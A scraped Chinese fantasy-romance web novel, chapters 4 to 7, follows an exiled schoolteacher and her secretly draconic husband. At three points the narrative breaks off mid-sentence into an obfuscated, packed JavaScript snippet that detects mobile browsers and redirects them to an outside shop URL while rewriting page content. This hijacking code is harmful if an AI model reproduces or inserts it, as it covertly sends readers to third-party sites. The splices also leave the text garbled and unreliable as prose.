书册的纸张有些泛黄,封面也残缺不全,李锦闻小心翼翼地翻开,发现其中有些字迹已经看不清了。 这书至少得有两百年了。 储清元:“这是愈苍山一带古老的地方志,你拿回去翻一翻,或许会有帮助。” 李锦闻将古籍收好。她与阿姐出京之后,一路来到愈苍山,就是为了寻找龙骨的线索。当年,太祖皇帝于愈苍山发迹,功成身退之后,归隐烛宁,从此再无消息。 她与阿姐分头行动,她在愈苍山探查,李舜齐则一个人前往烛宁调查太祖晚年之事。 至于龙骨到底代表什么,她们有过一些推测。或许是代表一定特权,可以调动某种势力的信物,只是不好直言其作用,所以代称龙骨。 这件事总归是要从长计议,李锦闻虽然忧思,还是收了收心,全心授课去了。 她每日需上两堂课,上午和下午各一个时辰,申时之后,便可归家。 她收拾好自己的东西,刚一出门,便听见门口大石后头传来一声叹息。 李锦闻听这声音熟悉,便走过去查看。 “悦舒?” 石头后面的人闻声回头,一脸哀戚地望着她。 李锦闻见她泪盈盈的双眼,忙上前去,问:“你怎么哭了?” 储悦舒:“锦闻姐姐……我想他了。” “他?”李锦闻尚不明所以,四下观望一圈,忽然意识到什么问题,试探道,“你是说程六郎?他怎么了?” 储悦舒吐出一口热气,“他五日前进京了。” “他不是说不走了吗?你父亲不是已经答应你二人的婚事了?他为何又离开了?” 储悦舒是书院山长储清元的独女,李锦闻来到书院后,除了给学生们授课,还经常教储悦舒一些东西,二人很说得来,渐渐成了亦师亦友的关系。 此前,储悦舒与山长的亲徒程六郎暗生情愫。田假之前,储悦舒还兴冲冲跑来告诉她,储清元答应了他们的婚事。 李锦闻一连串问了这些问题,说完又觉得不妥,她这样说,无疑会加重储悦舒的悲伤。 储悦舒的情绪却渐渐稳定下来,她吸了吸鼻子,道:“朝廷将省试延迟到六月,他听闻这个消息,一番思量,最后悔婚,进京赶考去了。” “父亲要求他今年不参加省试,我们便可成婚,待三年后,便允我陪他一同进京赶考。”她望着山间的浓绿,语气缓缓,“其实,自从他最开始答应父亲不去应试之后,我就看得出来,他心有踯躅。” 李锦闻静静听着。 “我理解他的难处。他十七岁便中了举人,若是错过了这一场省试,那便要蹉跎三年。对于一个要入仕读书人来说,错过三年,很可能就会错过一辈子。” “但我又不能因为理解他,而违背我的父亲。父亲只有我这一个女儿,他并非古板刻薄之人,也不会要求我一生侍奉膝下。或者我永不成婚,他也不会有所逼迫,更不会在意我未来夫婿的身份地位。六哥进京赶考,父亲一定要让我们断绝关系,想来是不愿让我今年进京。我虽不知其中具体因由,但京中局势,我也略有耳闻。所以,父亲是为我考量过的,我猜,其中或许有不便让我得知的隐情。” 昨天夜里,她与父亲促膝长谈。父亲只说让她在家读书,或者做点别的想做的事,待日后时机成熟,她想自己进京应试都没问题。 只是这两年不能进京。 说来,也是有情有缘无份罢了。 李锦闻安慰地笑了笑,陈述自己的看法:“我倒觉得,他离开了,未尝不是件好事。他若当真为了你留下来,如你所言,他心怀遗憾,日后的三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468843|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年里,或许你们感情正浓,他不会因此事与你生嫌隙。若三年之后,他一考便中,你二人从此搬去京城,也算是相互扶持的年少夫妻。可最怕的是他三年之后不能高中进士,那他因你耽误的那三年,将会成为你们之间不可逾越的一条鸿沟。日后他每每遭遇不顺,就会自然而然地认为是他错过那三年所导致的。届时,恐怕多生龃龉,年少时誓言再真,最后也会变成一对怨偶。” 这番话设想了最坏的结果。储悦舒对程六郎还有感情,恐怕不爱听这种贬损她心上人的话。若不是极其交心的朋友,是万不能说出这种话的。 储悦舒明白这个道理,笑了笑,说:“我甚至生过与他私奔的想法。现在他已经走了,冷静下来一想,还好当初没冲动行事。他已经为他的前程悔婚了,说明我与他的前程相比,没那么重要。既然不重要,你方才假设的那种情况,就更可能发生。” 李锦闻眸光微动,轻声说:“一个读书人,毕生所求便是蟾宫折桂。那可是一生的追求啊,定然比情爱重要。若是让我选,我也会去追那毕生所求。” 储悦舒和她说了这么多,心里总算开阔些,便笑着凑过来,问:“是么?你夫君那样的,你也舍得放下吗?” 李锦闻见她开始打趣自己了,便知她心中烦闷已经解了大半,嗔怒地挤开她,道:“怎么还扯我呢?” “话说,你与他才相识一个月,如今成了婚,不觉得多有不习惯的吗?” 李锦闻想了想,说:“还成,就……慢慢了解呗。反正他满足我对一个夫婿所有的要求,甚至比我期待的还要好,我就很满意了。至于感情,顺其自然吧,可有可无的东西,不想多纠结。” 储悦舒认真看着她,叹声道:“这世上痴情之人不少,可像你这般,对情爱不报任何期待的却很少。” “情、爱……” 李锦闻沉吟着,她和白九成婚时,便存了心思好好体验一番这两个字是何滋味。 她想起床榻上的缠绵,那的确是愉悦至极的,可也只存在于二人相互交付的一丁点儿时间里。 这定然与人们口中牵其魂扰其神的情痴有所不同。 真正的“情”,她不知道是什么,暂时也无意于此。 眼下快乐就够了。 她如今身为流亡之人,既要探查龙骨的下落,又要助阿姐谋划有朝一日重回京城,哪里敢去想些情情爱爱的呢? 白九与她生活在一起,他们暂时和寻常人一样,过上平和宁静的日子,便是她目下最需要的。 于是她对储悦舒轻轻笑了笑,说:“及时行乐就足够了。” 今日的天格外晴朗,就连夕阳都显得明媚。李锦闻迎着夕晖,与储悦舒告辞,回了家。 白九正在家拾掇院子里那一小片菜地,一见她的身影,蹭得一下子站起身来,笑吟吟地唤她: “娘子!” 他想了娘子一天,心里很酸。见到娘子的这一瞬间,又比时时刻刻在一起时欢喜千万倍。 —————— 与人族相爱,首先要对她产生爱意。愉悦和痛苦交织,便是情爱。细细算来,其中思念忧惧更甚,所以痛苦远比愉悦多。 倘若洞悉这一点,还觉爱她时欢喜,那便是真正的痴恋爱慕。 ——《人族豢养手记》 5. (小修)猫咪和狐狸 白九觉得娘子和他讲过的一句话很对: 尽信书不如无书。 他一天没看见娘子了,很想她。但这思念也不是痛苦的,似乎是甜的。 他收拾乱放的杂物时,会想起娘子坐在梳妆台前,夸他把所有物件都摆放的井井有条;他做饭时,会想起第一次向娘子展露厨艺时,娘子就动了与他成婚的心;院子里的菜长得很好,他就会想起娘子满脸期待地和他说每个地方要种什么的模样。 这个家里,每一处角落都经过了他的打理,有娘子生活的痕迹。 所以手记上讲的也并不完全正确,白九期待着见到李锦闻,这期间每一刻的思念都在无限增加见面之后的甜蜜。 菜园里种了几样应季的蔬菜,园子不大,但足够他们日常吃饭。 从前白九还没来的时候,李锦闻尝试自己种过白菜,只可惜,不知道是不是买错了种子,她种出来的白菜生了很长的茎,还开了小黄花。 李锦闻与阿姐逃亡过来的路上,曾见漫山遍野的油菜花。她种的白菜,若是也有那么大规模,兴许会与那油菜花颇有些相似。 李锦闻捡到白九的那一天,雨下得很大,她半夜里出来罩她的白菜,结果连苫布都还没找到,就先看见了倒在门口的男人。 那天晚上,她忙着安置发着高热还不知淋了多久雨的俊俏青年,哪里还想得起院里的白菜。 好在,青年身体不错,第二日上午就退了热。李锦闻的白菜却没那般坚强的命,早已东倒西歪地烂了一片。 她蹲在菜园子边上,手中随意揪着被雨水砸得软烂的小黄花,白九走到一边,和她一起蹲着。 “好可惜的油菜花。”青年将一根快要入土为安的菜茎从泥里解救出来,哀声道。 李锦闻:“……这是白菜。” 白九定定看着这一片园子里的不明作物,勉强从铺在泥汤里的半大绿叶上辨别出它们的真实身份,随即态度良好地改口:“我眼拙,确实是……白菜。” 李锦闻没好气地看了他一眼,白九以为她还因为自己没看出这是白菜而生气,遂道:“但是,你就没发现这白菜和寻常白菜有什么不一样的。” 李锦闻当然发现了,至少她见过的白菜不开花。 “我又没种过菜,它们兴许只是没长大,等长大了就自己变成胖墩墩的了。” 白九从泥里刨出一把相对完整的菜,甩掉上头的泥,端详了片刻。 烂根了,意料之中。 看来他未来的娘子不大会种菜,但非常想种出好菜。 白九暗自一笑,恰好被李锦闻捕捉到他勾起唇角的一瞬间。 “你笑什么?”李锦闻幽幽看着他,冷声道,“昨夜我本来是要把它们罩起来的,可是我去救你了,忙活了一宿,什么也没顾上,你现在全须全影的在此处笑,我的菜却死了。” 白九立即正色,斟酌片刻,还是打算先将常识讲给她:“呃,其实,这种大白菜不是现在这个时节种的。” 李锦闻没听懂,这显然触及到她的盲区。她人生前二十年里,只偷偷坐在墙头上看过御花园里的名贵花草,连菜地农田长什么样子都没见过,哪里知道种菜还要分时候。 “春天里种的大白菜会开花,不能吃,也不会长大。这种白菜需得立秋之后播种,等到长出来,就可以吃一个冬天。” “那你会种吗?” 其实白九并没有种菜的经验,他方才说的也不过是在人间行走的数年里看来的。但李锦闻既然需要,他就会。 于是他点了点头。 他又补充了一句:“我还会种其他的,不如我给你种一些应季的菜,这片地也不会空着。” 李锦闻欣然同意。 白九花了一天时间,把菜地翻了一遍,而后买来种子,有条不紊地播下去。李锦闻头一回见种菜也有不少讲究,不得不感叹术业有专攻。别的她帮不上忙,但挖坑总是会的。 白九不嫌她挖得慢,只是拿着菜种,跟在她后面撒种埋土。 彼时二人还不大相熟,就在这慢悠悠的劳作中互相介绍了自己,后来渐渐闲谈起来。 “你这么会种菜,那是不是也擅长种花?” 白九也没有种过花,但他从前见过一些大户人家的花园,那里面都种满了奇花异草,一年四季都有不同的花盛开。 他没有回答是与否,而是反问她:“你想种花么?” 李锦闻却轻轻一笑,她从前见过御花园里的珍奇,确实很美,但那不是给她赏的。 她还年幼的时候,也曾贪恋过园中美景,驻足观望。可她在宫中身份尴尬,只能躲在假山石后面,偷眼瞧着昭帝的儿女们在花丛中嬉戏,像一个窥视他人幸福的小偷。 那时,师父站在她和阿姐身后,说:“那些花也曾为您盛开。但只有短暂的两年,后来便被人夺了去。您若喜欢,就得做他们的主,您不想叫这院子里长什么,他就连破土发芽的机会都没有。” 李锦闻每每看见御花园里的花,这番话就如魔咒一般在她心头转来转去。那个地方的花,开得再好,也不会令她感到愉悦。 “种什么花?赏花都是自在闲人才做的雅事,我们还要活命,哪有闲心摆弄花花草草。何况,漂亮的花都是名贵物种,有的甚至有钱都弄不到。” 她叹息着,又想了想,笑道:“不过,这辈子肯定还有那样自在的日子,等阿姐回来了,等我们……” 李锦闻只说了一半,便收住了话头。她暂时无意将自己的真实身份透露给白九,便打岔揭过去,没再继续说阿姐。 她说话的时候,认认真真挖坑,并未正眼瞧身后的青年。 可白九就是看见她的落寞了:李锦闻喜欢花,但现在没机会种。 春夏之交,菜种播下去,长势很快,李锦闻的院子里已经绿油油一片了。 李锦闻静静坐在门槛上,看着院子里忙碌的身影,心安理得地坐享其成。 夕阳西下,晚风微凉,天气清明,空气里还弥漫着一点潮湿的味道,很清冽。 白九端着一筐新摘的菜,坐到她身边,李锦闻支着脑袋看人。 金黄的夕阳洒在他的脸上,更添他几分少年气。在太阳的照射下,他的瞳仁变成了浅浅的棕褐色,看上去像一小块晶莹剔透的琥珀。 白日西沦,琥珀晃了晃,颜色逐渐加深,变成了一块纯黑的宝石。白九择好菜,看向她,温声道:“娘子,明日我去河边捉几只虾,你想怎么吃?我提前给你准备。” 李锦闻认真想了想,道:“清风三虾可以吗?” 说罢,她又反应过来,道:“唔……是不是有点难?” 这菜很讲究,寻常饭馆里都不做的,她从前也只是在宫里宴会上见过,白九虽然手艺不错,可毕竟不是馆子里专做菜的厨子。她这样提出来,似乎有点为难他。 谁料白九想都没想,就应下来:“没问题,我恰好学过。” 李锦闻讶然:“你特意学过?” 白九笑了笑,起身走进厨房,开始烧火,李锦闻跟他到门口,听他道:“我十六岁之后出门流浪了几年,期间什么都学了点。不过进酒楼这事,还是一次意外。” 李锦闻躲着烟,用长袖遮掩口鼻,她声音闷闷的,却不掩震惊:“你怎么会流浪呢?” “父母留下些积蓄给我,反正家中只剩我一个了,待着也无趣,我就带着钱,出远门了。” 李锦闻失笑,纠正他:“那不叫流浪,那叫漫游。” “哦,好吧,”白九点着了火,扭头笑着说,“娘子说是漫游那就是。” “你不要总这样说话,搞得我欺负你似的。”李锦闻小声嗔了一句,又追问,“后来呢?” “见的多了,偶尔就会学一些有用的。有一次,住客栈碰见个黑店,把我身上的钱财都偷走了,还差点把我开膛破肚,还好我变小游走了。” 李锦闻迷惑地眨了眨眼睛:“什么变小游走了?” 又说漏嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468844|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 白九动作一顿,眼神乱飘,思索怎么圆回去。 李锦闻隔着灶台上蒸腾的热气,又背着光,没看见他脸上忽然不自在的表情,她习惯性地理解了一下,道:“你从水道里逃走了?” 白九顺势编下去:“呃……对!客栈里正好有一小片池塘,连着外头的河流,中间的通道太窄了,还好水流够快,不然我可能就卡在里面了。” 李锦闻点了点头,接受了这番解释。 白九趁机回归正题:“后来我身上就什么也没有了,好在有一家大酒楼收留了我。起初老板看我力气大,让我劈柴挑水。后来我混进厨房,跟着厨子偷学了几道菜。” “我家九郎还蛮有天赋的嘛。”李锦闻歪着头,笑盈盈打趣他。 天渐渐暗下来,白九做好了饭,李锦闻跑到隔壁,邀请阿婆和他们一起用晚饭。 阿婆婉拒了:“你们小两口新婚燕尔,该多多相处,平日里你不在家,好容易回来,我就不在旁边打搅喽。” 山君可不想日日跟个龙族一桌吃饭。 “就差一顿饭的功夫么?阿婆一个人待着会不会无趣?”李锦闻担心老人家眼睛不好,平日不爱出门,在家憋闷无趣。 “无碍的,邻居家有几个老太太常过来坐着,阿锦不必担心我。” 李锦闻放下心来,没再劝。 饭后,她坐在院子里看星星,白九在屋里收拾碗筷。 大黄猫白日里睡了一觉,此刻懒洋洋地爬起来,抻长身子,伸了一个懒腰。随后不紧不慢地舔了舔爪子,迈着猫步朝李锦闻走过去。 “小黄,你怎么长大了这么多啊?这才几天,就长成大黄了,是不是呀?” 李锦闻揉着大橘猫的脑袋,又挠了挠它的下巴,轻声道。 门口挂着灯笼,一阵风吹过,灯光晃动,小黄的影子一高一矮地变化着。 “你是不是总跟阿狐抢肉吃?阿狐呆愣愣的,看着就不大聪明。” 跟她家夫君一个样。 小黄抗议地“喵”了一声,似乎是控诉她污蔑自己和狐狸抢肉吃。 李锦闻笑了笑,望向墙角的狐狸窝。灯影停止了晃动,狐狸窝有些远,借着灯光,只能看清个轮廓。 窝里空着。 “嗯?阿狐还没回来么?”李锦闻疑惑地看向橘猫,橘猫当然不会回答,恰好身后传来白九的脚步声,她便转头问,“狐狸今天在家了吗?” 白九已经洗好了碗,走过来和她并肩坐着。 脚下衣袍动了动,白九垂眸,之间肥美的小黄挪到李锦闻脚边,正蹭着她的小腿。 他回道:“早上还在呢,后来就不见了,兴许出去玩了吧。” 李锦闻纳罕:“奇怪,它从来不会回来这么晚的。” 白九抱住她,头埋在她的肩窝里轻嗅,不甚在意地说:“放心吧,那狐狸又不傻,自己知道回家。兴许就是前些日子下了太久的雨,它好久没出去,一时新鲜贪玩了吧。” 李锦闻被他温热的气息搅得有些痒,没忍住笑起来,轻轻推他。 “娘子……”白九抱着她不撒手,余光瞥见橘猫一溜烟跑回窝里,唇角勾起得逞的弧度,“我今日一个人在家,是不是很乖?” 跟个孩童似的撒娇。 李锦闻四下望了望,有点招架不住,虽说夜里没人看见,可院子周围毕竟只围了一圈篱笆,她还是不大自在,便扒开他黏在自己身上的脑袋,低声催促:“回房去。以后不许在外头露出这副样子。” 翌日清晨,李锦闻出发去书院前,特意看了一眼墙根处。 猫和狐狸各自卧在自己的小窝里,小黄正悠闲地舔毛,一缕晨光洒在它身上,给它渡了一层温暖的光。狐狸则将又大又蓬松的尾巴挡在脸上,睡得正酣。 李锦闻轻轻一笑,许是昨夜真的玩累了吧。 —————— 让人族迷恋,要先抓住人族的口腹之欲。 ——《人族豢养笔记》 6. 力气很大 李锦闻离开后,安睡的狐狸抖了抖耳朵,笤帚似的尾巴轻轻一扫,整只狐跳起来,四下观望两眼。 院中无人,它钻出笼子,正要沿着墙根出去,屋门口却传来一声提醒意味十足的轻咳。 狐狸浑身一僵,四脚一阵倒换,转过身来。 “出门啊?”白九正倚靠在门框上,语气闲闲的,似乎真的在话家常。 “是啊……哈哈,”狐狸两只前脚离地,指着外头,口出人言,“山里挺好,还能找到同伴呢。” 白九嗤笑一声,不打算细究这狐狸话中的真伪,只是慢悠悠道:“是挺好,给自己找个伴,省的总出来凑别人的娘子。” 狐狸面上僵硬了一瞬。青天大老爷啊,它身为灵族,不过是觉得在这里修炼更舒服一些,可没有打过任何人的主意啊。 说来也奇怪,李锦闻身上就像有什么魔力一般,狐狸一靠近她,就觉得灵气充沛。 白九显然也发现了端倪,在它即将溜出院门时,开口道:“你的修为涨得很快啊,这才几日,看着都快能化妖了。” 隔壁阿婆推开屋门,走出来往这边瞧。狐狸窜出院门,只留下飞扬的尘土。 白九转过身去,不再计较狐狸的事,对阿婆说:“早饭我一会儿给你端过去,午饭也做好了,在锅里温着,你中午自己吃就好。我今日外出一趟,娘子下值之前回来。” 阿婆隔着草垛,语气有些无奈:“我看你心还不错,何必每日摆着一副凶神恶煞的样子来唬人!” “山君多心了。我只是担心娘子因为旁的人与我生嫌隙罢了。” 他冷言冷语地说完这句话,没再耽搁,径自出门去了。 南边六里之外,便是洵河,白九到河边后,向河中扔了一颗珠子。片刻之后,河面上泛起一圈涟漪,中心开始冒泡,随后,从河水中跳出一尾鲤鱼。 鲤鱼卷着水花,甫一离开水面,便生出手脚,跳到岸上。 白九被他带上来的水花溅了一身,颇为烦恼地后退几步。 “你何时能学会控制四肢?!” 鲤鱼精浑身上下长满鳞片,他没有脖子,胸部以上还是鱼脑袋,巨大的鱼鳃一张一合,向外喷散水汽。 “抱歉,执渊大人!我还需要修炼一段时间!”鱼眼又大又圆,看上去十分无辜。 白九心知与这种刚生出灵智连人形都化不完整的鱼废话无用,便命令他:“罢了,你去抓些雌河虾来,我晚上要做给娘子吃。” 清风三虾需要选用鲜活的雌河虾,取虾籽和虾脑,再剥出虾仁,才是“三虾”。这个时节刚入夏,正是河虾最鲜美的时候。 “执渊大人对夫人真用心!小的这就去给您捉虾!” 鲤鱼笨拙地转了个身,又要往水里跳。白九预感到即将迸出三尺的大水花,一踮脚,先一步跃入水中,荡着涟漪,化成小龙滑走了。 白九没有游太久,很快就在一座岛屿上了岸。上岸之后,他变回人形,身上的衣衫竟没有一点被沾湿的痕迹。 这里是他的家。 白九穿过边缘的树林,跨过一条浅溪,来到一片依山势而建的楼阁之下。 山脚有一处小院子,院中花开得正艳。 四野静悄悄的,白九这些日子在山下住惯了,乍一回来,终于发现了此间的异常之处。 太静了,该弄几只鸟儿来的。花草树木多的地方,应该有很多鸟的。 自从父亲去世之后,他的家里便没有人族了,这个地方日渐衰败,早就不像人能住下去的地方了。白九在人间游走了数年,回来之后,才一点一点将这个地方清理出来。只是有些细节,还不够真实。 他取来水,一瓢一瓢地浇花。这些花的种子是他前些时日四处奔走才弄来的,其中不乏李锦闻口中“名贵”的品类。 他一边摆弄花草,一边想:家里又多了一样娘子喜欢的东西,以后若是娘子来了,应当会愿意住在这里的。 这里的花娇艳欲滴,但娘子生得那样好看,她若站在这花丛中,定然比花还要美。白九不禁畅想李锦闻看见这些花之后的欢喜模样。 她若是欣喜,没准儿就愿意一直和他留在这里了。 * 近来天气愈发炎热,愈苍书院建在山上,按理说,会比山下凉快些。可李锦闻发现,书院其实比家里还要热。 或者说,是她家里太凉爽了。 兴许是有家门前那一条小溪,可以日日带来山中清冽的泉水,加之附近还有一方池塘,致使那一片的空气格外潮湿凉爽。总之,李锦闻在家里住得很舒适。 今日山长带着两位先生出门去了,书院里只有李锦闻和另一位年愈花甲的赵秀才。 临近午时,李锦闻刚结束了一个多时辰的课。方才在堂上,还跟一位学生辩了十几个回合,此时早已口干舌燥,一出来就举着茶杯连饮了数盏凉茶。 储悦舒端着茶壶,给她续上茶水,笑道:“这会子可消了燥气?” 李锦闻连连摆手,皱着眉,抱怨:“这学生也太难缠了些,怎么这么多大道理!待秋日里快劝了他去参加童生试吧!” “那学生如今十四五岁,正是莽撞的年纪,何况又是一根筋的性子。下回你见着他要说话,就快些找别的事堵回去,也不必同他费这口舌。” 李锦闻又喝了一杯茶,才觉得直冲脑门的燥气稍降下去些。她正要开口说话,从外头跑进来一个女学生。学生边哭边跑,一进门就跪在二人面前。 李锦闻惊得站起身来,连忙闪身躲开这个大礼。储悦舒上前搀扶她起身,却没拉动。 “李先生、储姐姐救我!” 储悦舒语气轻柔,还算镇定,问道:“你先别急,快些起来,说说怎么回事?” 女学生边哭边说:“我父亲、我父亲要抓我回去成亲!可我不愿!我想考女官!” 她又转向李锦闻,哀求:“李先生,您知道我可以的,您不是说我很有灵性么?我、我不要被他嫁给那个三十多岁丧妻的鳏夫!求您救救我!” 这女学生名叫刘照君,家中情况很是复杂。早些年父母和离,她一直跟随母亲住在外祖家。三年前她母亲去世,她失了庇护,按照律法,便随父亲生活了。 李锦闻知道她的难处,但也不好受这礼,正要拉她起来说话,院中就起了一阵喧哗,只听一个中年男人怒吼:“你这书院!休要私自诱拐我女儿!你们教的什么道理,让我女儿处处顶撞老子!这什么破书院?!你们作主的人呢?快出来!” 刘照君吓得抓紧李锦闻的手腕,眼睛里蓄了泪。 储悦舒听闻外头不堪入耳的叫骂声,正要出门去,李锦闻拉住她,道:“我出去应付,你安顿好这姑娘。” 储悦舒今年也不过十七岁,李锦闻长她五岁,总不好叫她应对这么个无赖,便下楼去了。 外头的男人骂了半天,见只有这么个年轻的女先生出来,顿时涨了几分气焰。 李锦闻不慌不忙,肃声道:“令爱在我愈苍书院读书已然五载,年年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468845|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课业甲等,何况其母在世之时,常念山长的好,怎么一到你这里,我愈苍书院就成诱拐女学生了?” “哼!你们哄骗我女儿,说她能考女官,致使她如今反抗婚姻大事!一个姑娘家的,进京后能有什么出息?无非是给那达官贵人做了小妾!还不如早早嫁了张员外,好歹能混个正房娘子!” 此时正好赶上饭点,书院里专事火头的娘子见来了人耽搁开饭,一股火气上涌,抄着锅铲一指,骂道:“你个不要脸的老赌鬼!四里八巷的谁不知道你那点子腌臜事儿!人家刘家好歹是读书人,偏偏将女儿嫁给你这个不上进的无赖,好容易和离了,人这孩子跟着外祖挺好,你非得把孩子抢过来!谁不知道你安的什么心,准是在哪个场子里又输了钱,打起卖女儿的主意!那张员外上一任娘子怎么死的,你心里没数?明摆着把闺女往火坑里推,活该你这么些年妻离子散!” “嘿——你个老婆子,说话这么难听!我管教女儿,与你何干?”他一边说着,一边上前,就要推开李锦闻,和厨娘动手。 李锦闻心知自己凭手脚干不过他,可此人来势汹汹,她躲不开,便下意识顺手举起旁边的木盆朝来人砸去。 木盆崩裂,李锦闻下意识闭眼低头,只听见对方吃痛的叫声。 原来方才那一下子,正好打在那人头上。此时对方正捂着流血的头部,显然有些震惊。 他没想到,这清瘦的女先生力气竟然不小,这一下子砸得他眼冒金星。 李锦闻也有些摸不着头脑,不过她来不及细想,对方被激怒,又扑上前来抬手要打。书院中稍长些的学生们纷纷上前阻拦,李锦闻顺手搬起脚边的石墩子,朝那男子脚上砸去。 一声凄厉的惨叫炸响,惊飞了林中昏昏欲睡的鸟儿,男人坐在地上,缓着发疼的脚踝。 学生们一拥而上,手快的已经举起拳头招呼上了,李锦闻赶紧叫停:“都别打了,书院里禁止打架斗殴!” 男人一阵哀嚎,怒道:“明明是你打的,说什么冠冕堂皇的话!” 一边的厨娘道:“分明是你先动的手!李先生一介女子,如何打得了你,你别是想讹诈吧?” 脚踝处被砸得阵阵作痛,男人没讨到好处,还被个书生砸了,一时觉得难堪,爬起来,一瘸一拐地跑了。 厨娘一脸惊讶,凑上来关切地询问李锦闻:“李先生,你这腰没闪着吧?那石墩子得两个小伙子才抬得动,你怎么端起来就扔?!” 李锦闻不明所以,她也不知方才怎么就想着动手拿石墩子砸人了。 她盯着地上的石头,弯下腰,又要抱起来确认一番,厨娘连忙制止:“哎呦,你可别再搬了,看这手都破了,赶紧进屋去吧!” 李锦闻低头,这才发现虎口上破了个小口,应该是被方才那裂开的木盆所划伤了。三个男学生七手八脚将石墩子抬走,厨娘张罗着众人开饭,李锦闻自己回了堂屋。 储悦舒给她上了药,包扎好伤口,便出去了。李锦闻回想方才的事,总觉得哪里不对劲。她盯着墙角处的青花瓷瓶摆件,陷入了沉思。 那大瓷瓶足有半人高,瓶壁有一指宽,很沉。 储悦舒和刘照君端着午饭回来时,只见文弱的李先生一手拉着瓶口,毫不费力地拽着瓷瓶向自己倾倒。 —————— 养好一个人族,首先要设置舒适的环境:气候适宜,有美景,还得有趣。最重要的是,举目可见之处,都得是她喜欢的。 ——《人族豢养手记》 7. 我记下了 “锦闻姐姐!你做什么呢?” 储悦舒把午饭放到桌子上,连忙上前扶着瓷瓶的另一边,刘照君也上前帮忙,二人一同使劲,却发现李锦闻毫不费力地又将花瓶摆正了。 “李先生,当心砸到脚。”刘照君眼尖,瞧见李锦闻虎口处渗出的血迹,蹙眉道,“您看看,刚包好的伤口,又绷开了。” 李锦闻再次确认了自己的力气确实变大了,尚在反应中,也不说话,由着俩姑娘把自己拉到席上坐下。 “好端端的,你惹那花瓶作甚?”储悦舒叹了一口气,以为她是因为今日打了刘照君那无赖父亲才心神不宁的,便劝道,“你不必担心,照君的事,我会禀明父亲安排好的。” 刘照君正因李锦闻为她打了架而心生愧疚,也赶紧说:“今日多谢李先生相助,但先生不必担忧,按照大乾律法,在学堂、书院等地无故起事者,当受杖责。” 李锦闻本就不在乎自己是否与人结仇的事,她当下最关心的,反而是刘照君:“先别说我了,他现在要找的是你,你日后怎么办?这种情况,没法报官,他作为父亲,哪怕真挨了板子,也有理由接你回家。” “外祖母前年病故,就是因为她老人家不在了,我才被父亲强行带回家去。外家如今留不住我,我跟着父亲一年,他偷走了母亲留给我的大部分钱财,拿去挥霍。如今没钱了,才打起主意,要把我嫁给张员外,真是如母亲所言,他就不配为人父!” 刘照君说着说着,出声愈发艰难,眼睛也红了。她自知此刻不是抱怨的时候,便适可而止,道:“我得尽快离开愈苍山。我一直留在这里,他总会想着回来找麻烦,到时候对书院也不好。” 储悦舒这些年跟着储清元在书院里,别的没怎么见到,却对“家家都有本难念的经”这句话深有体会,她为人仗义,安抚地冲刘照君笑笑:“没事,若他执意要带走你,报官也有胜算,只是需要拿出他嗜赌的证据来。你放心,父亲在县衙里有几位旧友,你若打定了主意去京城,咱们也有法子仗势压一压他。” 刘照君暂且在书院里住下,储悦舒张罗着帮她置办进京的行礼,李锦闻就简单给她介绍了一下京中的情况,嘱咐了一些事项,起码能让她少栽几个跟头。 近日的天气愈发炎热,李锦闻下值的时辰,太阳还老高。山中草木茂盛,倒还有个阴凉,桑林里也不必面临曝晒,只是回家途中要经过一片村庄和村后的良田,虽说只有半刻的路程,却也十分的晒。 李锦闻虽戴了帏帽,可也顶不住阳光直接打在身上,她一想到往后三个月恐怕日日要走这么一段,心里就犯愁。 越走近家门,李锦闻身上的燥热就愈发消减。过门口那座小桥时,她顿觉清爽,路上积攒下来的烦闷也消失得一干二净。 她一踏进家门,白九似乎就听见了动静,从堂屋里蹦出来迎她。小黄本来躲在阴凉里打盹,被他一声“娘子”给喊醒了,便懒洋洋地爬起来,抻了个懒腰,一顿甩头,打算迎接一下这个辛勤的“两脚咪”。 至于为什么叫她“两脚咪”,是因为这人从最初把它抱回家的时候,就总是“咪咪咪”地叫它,后来有人给它起了“小黄”这个名字,“两脚咪”有一半的时间还是叫它“咪咪”。没办法,小黄只好以为她诨名叫“咪”,私下里也给她起名“两脚咪”。 只是还未等它迈着轻巧的步子去靠近她,李锦闻便摘下帏帽,扑进了白九的怀抱。后者抱着人转了半圈,丝滑进屋,还不忘关上房门。 小黄不信邪地追上去,被拍来的一阵风拒之门外。 大橘猫有理由怀疑这个白九是故意的,分明是它先来这个家的! 李锦闻从前一回家,就要抱着它一顿揉搓,但自从白九来了以后,她的注意力就被分走了! 这个白九实在可恶!小黄不满地嚎了一声,抬起两只前爪,愤愤地挠门。 屋里,李锦闻听见猫儿不满的叫声,无奈一笑,正要转身打算去开门,却被白九捧住双颊,只好抬眼看着他。 “娘子,你的脸好红啊。” 